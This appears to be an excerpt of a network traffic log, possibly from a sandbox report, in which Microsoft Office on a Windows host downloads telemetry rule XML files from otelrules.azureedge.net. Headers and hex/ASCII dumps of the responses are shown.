2024-11-22 16:10:13 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:10:12 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: ba159eff-a01e-000d-0e45-3cd1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T161012Z-178bfbc474brk967hC1NYCfu6000000002xg00000000qmt6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:10:13 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.10	49916	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:10:13 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:10:13 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:10:13 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 4e89b2fa-a01e-006f-563a-3c13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T161013Z-15b8b599d88tr2flhC1TEB5gk400000001w0000000002mh2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:10:13 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.10	49917	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:10:13 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:10:13 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:10:13 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 00c17fdd-701e-000d-2f70-3c6de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T161013Z-174c587ffdfldtt2hC1TEBwv9c00000001eg00000000kp2x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:10:13 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.10	49918	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:10:13 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:10:14 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:10:14 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 4d626343-d01e-0028-4b44-3c7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T161014Z-178bfbc474b9xljthC1NYCtw940000000360000000003d7r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:10:14 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.10	49919	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:10:14 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:10:14 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:10:14 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 26217b89-b01e-001e-808c-3a0214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T161014Z-178bfbc474b7cbwqhC1NYC8z4n000000036g00000000217q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:10:14 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.10	49920	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:10:14 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:10:15 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:10:15 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 5a5a0c5e-c01e-0079-588c-3ae51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T161015Z-174c587ffdf6b487hC1TEBydsn00000001mg00000000an96 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:10:15 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.10	49922	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:10:15 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:10:15 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:10:15 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: a3dd353e-a01e-0032-2c4e-3c1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T161015Z-178bfbc474bpnd5vhC1NYC4vr4000000035000000000kpzb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:10:15 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.10	49921	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:10:15 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:10:15 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:10:15 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 6b04d5e8-e01e-000c-65ad-3b8e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T161015Z-174c587ffdf9xbcchC1TEBxkz400000001dg00000000qkcg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:10:15 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.10	49923	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:10:16 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:10:16 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:10:16 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: e365756d-701e-0032-724d-3ca540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T161016Z-15b8b599d882hxlwhC1TEBfa5w00000001gg00000000frng x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:10:16 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.10	49924	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:10:16 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:10:16 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:10:16 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: fa8f60f6-901e-0083-3159-3cbb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T161016Z-15b8b599d88cn5thhC1TEBqxkn00000001e000000000qa49 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:10:16 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.10	49925	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:10:17 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:10:17 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:10:17 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: abaf503b-901e-0064-2b47-3ce8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T161017Z-15b8b599d88l2dpthC1TEBmzr000000001ng0000000093nm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:10:17 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.10	49926	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:10:17 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:10:18 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:10:18 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: 1a818a33-b01e-005c-4475-3b4c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T161018Z-174c587ffdf7t49mhC1TEB4qbg00000001n0000000007fv5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:10:18 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.10	49927	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:10:17 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
